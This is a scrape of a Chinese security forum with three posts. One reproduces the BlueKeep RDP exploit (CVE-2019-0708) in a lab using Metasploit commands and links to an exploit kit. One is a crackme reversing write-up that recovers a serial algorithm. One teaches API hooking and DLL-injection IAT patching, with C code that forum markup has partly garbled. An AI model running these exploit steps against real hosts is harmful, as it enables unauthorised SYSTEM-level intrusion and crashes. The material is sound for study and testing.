RDP漏洞CVE-2019-0708复现

系统安全llpkk 发表了文章 • 2 个评论 • 108 次浏览 • 2019-09-11 23:58 • 来自相关话题

0x01漏洞描述

在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。

自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。

在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
 
攻击机ip(kali linux):192.168.1.105
靶   机ip(win7  SP1) :192.168.1.106
win7 SP1 镜像地址:ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/
CVE-2019-0708套件:https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw
0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:apt-get update
apt-get install metasploit-framework





 
 
 更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit

rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp

需要注意如果没有目录就去创建个。
接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块reload_all之后直接搜索0708漏洞。msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check







 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit
target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。





 
 
现在就是开开心心的等待shell的出现啦





 
 
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?





 
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。set target 1
exploit
随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~





赶紧回头看看靶机有没有什么异常





 
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
 
CVE-2019-0708拿下shell之后直接为SYSTEM权限





 
至此复现结束。
 
0x03 漏洞危害
目前公布的影响范围:Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
 
参考:
http://kalilinux.com.cn/index.php/archives/82/
https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
 
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。 查看全部
0x01漏洞描述


在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。

自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。


在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
 
攻击机ip(kali linux):192.168.1.105
靶   机ip(win7  SP1) :192.168.1.106
win7 SP1 镜像地址:
ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/

CVE-2019-0708套件:
https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw

0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:
apt-get update
apt-get install metasploit-framework


7.png

 
 
 更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。
[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>
复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可
rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit 

rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp

需要注意如果没有目录就去创建个。

接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块
reload_all
之后直接搜索0708漏洞。
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check







 
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit

target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。

info.png

 
 
现在就是开开心心的等待shell的出现啦

8.png

 
 
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?

2.png

 
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。
set target 1
exploit

随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~

4.png

赶紧回头看看靶机有没有什么异常

3.png

 
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
 
CVE-2019-0708拿下shell之后直接为SYSTEM权限

6.png

 
至此复现结束。
 
0x03 漏洞危害
目前公布的影响范围:
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
 
参考:
http://kalilinux.com.cn/index.php/archives/82/
https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
 
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。

Crackme004

REVERSE-逆向snow 发表了文章 • 1 个评论 • 84 次浏览 • 2019-09-08 14:50 • 来自相关话题

首先打开软件,根据作者说明,该软件是没有确定按钮的,如图:
 





 
 
在输入用户名和正确的注册码之后,会出现“朱茵”小姐的一副靓照。
 
使用 OD 加载程序,搜索字符串,发现线索:





 
双击进入,向上找,发现一个比较和跳转语句:
 





 
 
00458031 处的 cmp 和 0045803D 处的 JNZ 跳转很可疑。
于是在 0045803B 处下断点,然后随便输入用户名和注册码,双击下面的灰白框,程序断在了断点处
 





 
 
我们修改正常的比较结果,果然成功注册
 





 
 
爆破成功了,接下来该找程序的注册算法部分了。
 
由于该程序是使用 Delphi 写的,我们可以使用一个叫 E2A 的软件加载该程序,可以方便的查看各种事件。
 





 
 
可以看到有一个叫做 chkcode 的东西,我们先对该事件 edit2 的代码下断点,发现只要输入注册码,程序就会触发该断点,我们可以判断该处代码很可能是检验验证码的代码,向下看代码,很快就发现了关键的代码
 





 
 
00457C66  处的 mov esi,dword ptr ds:[ebx+0x2F8] ,得到我们输入的名字的长度
00457C6C  处的 add esi,0x5,将长度加5
00457C7A  处的 call CKme.00407B04,调用函数将长度转化为字符串
00457C91  处的 call CKme.00423348,得到我们输入的名字
00457CA4  处的 call CKme.00403C3C,将四个字符串“黑头Sun Bird”、“13”、“dseloffc-012-OK”、“11223344”连接起来,成为一个字符串“黑头Sun Bird13dseloffc-012-OK11223344”。
 





 
 
大胆猜测这是正确的激活码,输入尝试,发现是正确的
 





 
 
所以可以知道正确的注册码就是:“黑头Sun Bird”+“用户名长度加上5”+“dseloffc-012-OK”+“用户名”。
 
但是还有一个问题。上面是根据比较内存 951C9C 处的值和 0x85来判断是否是正确的验证码的
 










 
 
所以应该还有地方进行比较是否是正确的验证码,并将该区域的值设为 0x85 才对。
继续向下找
 





 
 
00457D35 处的 call CKme.00403C8C,用以比较我们输入的注册码和正确的注册码是否相同,如果相同,将 951C9C 处的值设为 0x3E。
但还是不对,0x3E 是小于 0x85 的,在比较的地方,依然要跳到错误的提示。
 
这里就不和大家卖关子了,其实程序还有两个事件,一个是单击事件,一个是双击事件。
 





 
 
判断是否为 0x85 的代码在单击事件的代码处。我们在双击事件的代码首部下断点,运行程序。
 










 
 
可以看到,00457EF5 处的代码判断 951C9C 处的值是否为 0x3E,如果是,则将值设为 0x85。
 
所以,程序的流程就是,输入注册码之后,程序根据用户名计算正确的注册码,然后判断输入的注册码是否正确,如果正确将 951C9C 处的值设为 0x3E。
我们输入用户名和注册码之后,会点击程序的图像区域,如果发生了双击事件。程序就会根据 951C9C 处的值判断是否设为 0x85。
如果发生了单击事件,程序会根据 951C9C 处的值是否为 0x85 判断注册码是否正确,从而进行跳转。
 
如果我们将判断跳转的代码处,也就是单机事件的代码处设置了断点的话,那么永远也不会发生双击事件。所以要想调试该程序,必须先把单击事件处的断点去除。
 
 
所以输入正确的注册码之后,双击后单击图像区域,就会出现“朱茵”小姐的靓照。
 
 
 
 
  查看全部
首先打开软件,根据作者说明,该软件是没有确定按钮的,如图:
 

20190903111200.png

 
 
在输入用户名和正确的注册码之后,会出现“朱茵”小姐的一副靓照。
 
使用 OD 加载程序,搜索字符串,发现线索:

20190903191335.png

 
双击进入,向上找,发现一个比较和跳转语句:
 

20190903191629.png

 
 
00458031 处的 cmp 和 0045803D 处的 JNZ 跳转很可疑。
于是在 0045803B 处下断点,然后随便输入用户名和注册码,双击下面的灰白框,程序断在了断点处
 

20190903192301.png

 
 
我们修改正常的比较结果,果然成功注册
 

20190903192519.png

 
 
爆破成功了,接下来该找程序的注册算法部分了。
 
由于该程序是使用 Delphi 写的,我们可以使用一个叫 E2A 的软件加载该程序,可以方便的查看各种事件。
 

20190903193856.png

 
 
可以看到有一个叫做 chkcode 的东西,我们先对该事件 edit2 的代码下断点,发现只要输入注册码,程序就会触发该断点,我们可以判断该处代码很可能是检验验证码的代码,向下看代码,很快就发现了关键的代码
 

20190903194622.png

 
 
00457C66  处的 mov esi,dword ptr ds:[ebx+0x2F8] ,得到我们输入的名字的长度
00457C6C  处的 add esi,0x5,将长度加5
00457C7A  处的 call CKme.00407B04,调用函数将长度转化为字符串
00457C91  处的 call CKme.00423348,得到我们输入的名字
00457CA4  处的 call CKme.00403C3C,将四个字符串“黑头Sun Bird”、“13”、“dseloffc-012-OK”、“11223344”连接起来,成为一个字符串“黑头Sun Bird13dseloffc-012-OK11223344”。
 

20190903195915.png

 
 
大胆猜测这是正确的激活码,输入尝试,发现是正确的
 

20190903201227.png

 
 
所以可以知道正确的注册码就是:“黑头Sun Bird”+“用户名长度加上5”+“dseloffc-012-OK”+“用户名”。
 
但是还有一个问题。上面是根据比较内存 951C9C 处的值和 0x85来判断是否是正确的验证码的
 

20190903201731.png


20190903201913.png

 
 
所以应该还有地方进行比较是否是正确的验证码,并将该区域的值设为 0x85 才对。
继续向下找
 

20190903202214.png

 
 
00457D35 处的 call CKme.00403C8C,用以比较我们输入的注册码和正确的注册码是否相同,如果相同,将 951C9C 处的值设为 0x3E。
但还是不对,0x3E 是小于 0x85 的,在比较的地方,依然要跳到错误的提示。
 
这里就不和大家卖关子了,其实程序还有两个事件,一个是单击事件,一个是双击事件。
 

20190903202859.png

 
 
判断是否为 0x85 的代码在单击事件的代码处。我们在双击事件的代码首部下断点,运行程序。
 

20190903203203.png


20190903203236.png

 
 
可以看到,00457EF5 处的代码判断 951C9C 处的值是否为 0x3E,如果是,则将值设为 0x85。
 
所以,程序的流程就是,输入注册码之后,程序根据用户名计算正确的注册码,然后判断输入的注册码是否正确,如果正确将 951C9C 处的值设为 0x3E。
我们输入用户名和注册码之后,会点击程序的图像区域,如果发生了双击事件。程序就会根据 951C9C 处的值判断是否设为 0x85。
如果发生了单击事件,程序会根据 951C9C 处的值是否为 0x85 判断注册码是否正确,从而进行跳转。
 
如果我们将判断跳转的代码处,也就是单机事件的代码处设置了断点的话,那么永远也不会发生双击事件。所以要想调试该程序,必须先把单击事件处的断点去除。
 
 
所以输入正确的注册码之后,双击后单击图像区域,就会出现“朱茵”小姐的靓照。
 
 
 
 
 

API 钩取

编程snow 发表了文章 • 1 个评论 • 129 次浏览 • 2019-08-12 20:17 • 来自相关话题

 
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
 
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。 
IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。

如何向目标进程设置钩取函数:
调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。注入法
 
调试法:
 
伪代码Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}

DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:


CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)


EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)


EXIT_PROCESS_DEBUG_EVENT //终止调试
break


}
}


OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点

}


OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
} #include "windows.h"
#include "stdio.h"

LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;

BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}

BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);

// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}

void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}

int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}
 
注入法 
      之
     通过 DLL 注入修改 IAT 来进行 API 钩取
 
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
 
难点1:选定目标 API。
 
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
 
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
  BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);





 
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
 
到此为止,我们的目的总共有 3 个。
将 DLL 注入进目标进程。替换目标进程 IAT 中的 API 地址。将阿拉伯数字跟改为中文数字。



0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
 
0x2: 如何替换 API 地址?
找到目标 API 在 IAT 中的存储地址。得到我们的函数的地址。进行替换。
  0x2.1:如何找到目标 API 在 IAT 中的存储地址
找到内存中导入表地址。遍历 IID,找到目标 DLL 对应的 IID。遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。
  具体实现://参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;

//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);

//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);

//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);

pThunk->u1.Function = (DWORD64)pfnNew;

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
    
 
0x3:将阿拉伯数字更换为中文数字     BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]

[i][i][i] DLL 全部的代码:[/i][/i][/i][i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"

// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);

// globals
FARPROC g_pOrgFunc = NULL;


BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"零一二三四五六七八九";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;
    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        if( L'0' <= lpString && lpString <= L'9' )
        {
            temp[0] = lpString;
            nIndex = _wtoi(temp);
            lpString = pNum[nIndex];
        }
    }
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
        HMODULE hMod;
        LPCSTR szLibName;
        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
        PIMAGE_THUNK_DATA pThunk;
        DWORD dwOldProtect, dwRVA;
        PBYTE pAddr;
        hMod = GetModuleHandle(NULL);
        pAddr = (PBYTE)hMod;
        pAddr += *((DWORD*)&pAddr[0x3C]);
        dwRVA = *((DWORD*)&pAddr[0x90]);
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
        for( ; pImportDesc->Name; pImportDesc++ )
        {
               //szLibName 是IID的名字
               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
               if( !_stricmp(szLibName, szDllName) )
               {
                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
                                         pImportDesc->FirstThunk);
                       for( ; pThunk->u1.Function; pThunk++ )
                       {
                              if( pThunk->u1.Function == (DWORD64)pfnOrg )
                              {
                     
                                      VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   PAGE_EXECUTE_READWRITE,
                                   &dwOldProtect);
                    pThunk->u1.Function = (DWORD64)pfnNew;
                                      
                    VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   dwOldProtect,
                                   &dwOldProtect);                                        
                                      return TRUE;
                              }
                       }
               }
        }
        return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        switch( fdwReason )
        {
               case DLL_PROCESS_ATTACH :          
